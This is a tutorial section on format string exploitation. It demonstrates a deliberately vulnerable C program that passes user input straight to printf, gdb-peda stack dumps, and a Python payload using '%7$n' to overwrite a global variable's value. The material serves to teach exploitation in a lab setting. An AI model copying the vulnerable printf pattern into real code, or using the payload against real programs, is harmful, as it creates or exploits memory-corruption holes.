Writing to Memory
Writing data to memory¶
We can use format string vulnerability to not only leak data but also write data to memory. Let's just check the man page of printf. In the Bugs section we can see the following:
Note
Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.
What is means is that if we give %n as format specifier, instead of printing data, it will write the number of bytes printed so far to a memory location.
Let's take an example:
#include<stdio.h>
int var = 0;
int main(){
char s[50];
printf("Please enter an input : ");
scanf("%49s",s);
printf(s);
return 0;
}
Let's see how we can overwrtie the global variable var
using %n
. For that first we need to find the address of var
. For this we can use gdb.
gdb-peda$ info variables
All defined variables:
0x0804c01c data_start
0x0804c020 __dso_handle
0x0804c024 __TMC_END__
0x0804c024 __bss_start
0x0804c024 _edata
0x0804c024 completed
0x0804c028 var
0x0804c02c _end
We can see the second last row is the address of our variable var
. We will give some junk input to see where our input is being taken on stack.
0000| 0xffffcfa0 --> 0xffffcfba ('a' <repeats 21 times>)
0004| 0xffffcfa4 --> 0xffffcfba ('a' <repeats 21 times>)
0008| 0xffffcfa8 --> 0xf7fa3000 --> 0x1dbd6c
0012| 0xffffcfac --> 0x8049199 (<main+23>: add ebx,0x2e67)
0016| 0xffffcfb0 --> 0x0
0020| 0xffffcfb4 --> 0xf7fa3000 --> 0x1dbd6c
0024| 0xffffcfb8 --> 0x6161cb39
0028| 0xffffcfbc ('a' <repeats 19 times>)
0032| 0xffffcfc0 ('a' <repeats 15 times>)
0036| 0xffffcfc4 ('a' <repeats 11 times>)
0040| 0xffffcfc8 ("aaaaaaa")
0044| 0xffffcfcc --> 0x616161 ('aaa')
We can see that the input is taken into the 6th offset on stack. What we need to do is to give the address of var
on stack and use %n
to write something else to it. Let's give 2 bytes of junk and then our address. The junk is needed so that the address is 4 bytes aligned on stack.
python -c 'print "aa" + "\x08\x04\xc0\x28"[::-1]'
After the giving the input, stack looks like this:
0000| 0xffffcfa0 --> 0xffffcfba --> 0xc0286161
0004| 0xffffcfa4 --> 0xffffcfba --> 0xc0286161
0008| 0xffffcfa8 --> 0xf7fa3000 --> 0x1dbd6c
0012| 0xffffcfac --> 0x8049199 (<main+23>: add ebx,0x2e67)
0016| 0xffffcfb0 --> 0x0
0020| 0xffffcfb4 --> 0xf7fa3000 --> 0x1dbd6c
0024| 0xffffcfb8 --> 0x6161cb39
0028| 0xffffcfbc --> 0x804c028 --> 0x0
%7$n
.
python -c 'print "aa" + "\x08\x04\xc0\x28"[::-1] + "%7$n" '
var
has been changed.
gdb-peda$ x/wx 0x804c028
0x804c028 <var>: 0x00000006
The value is 6 because %n
takes the number of bytes printed before it which is the length of junk + length of address.
There are other good targets which we can overwrite. Those will be discussed in a later section.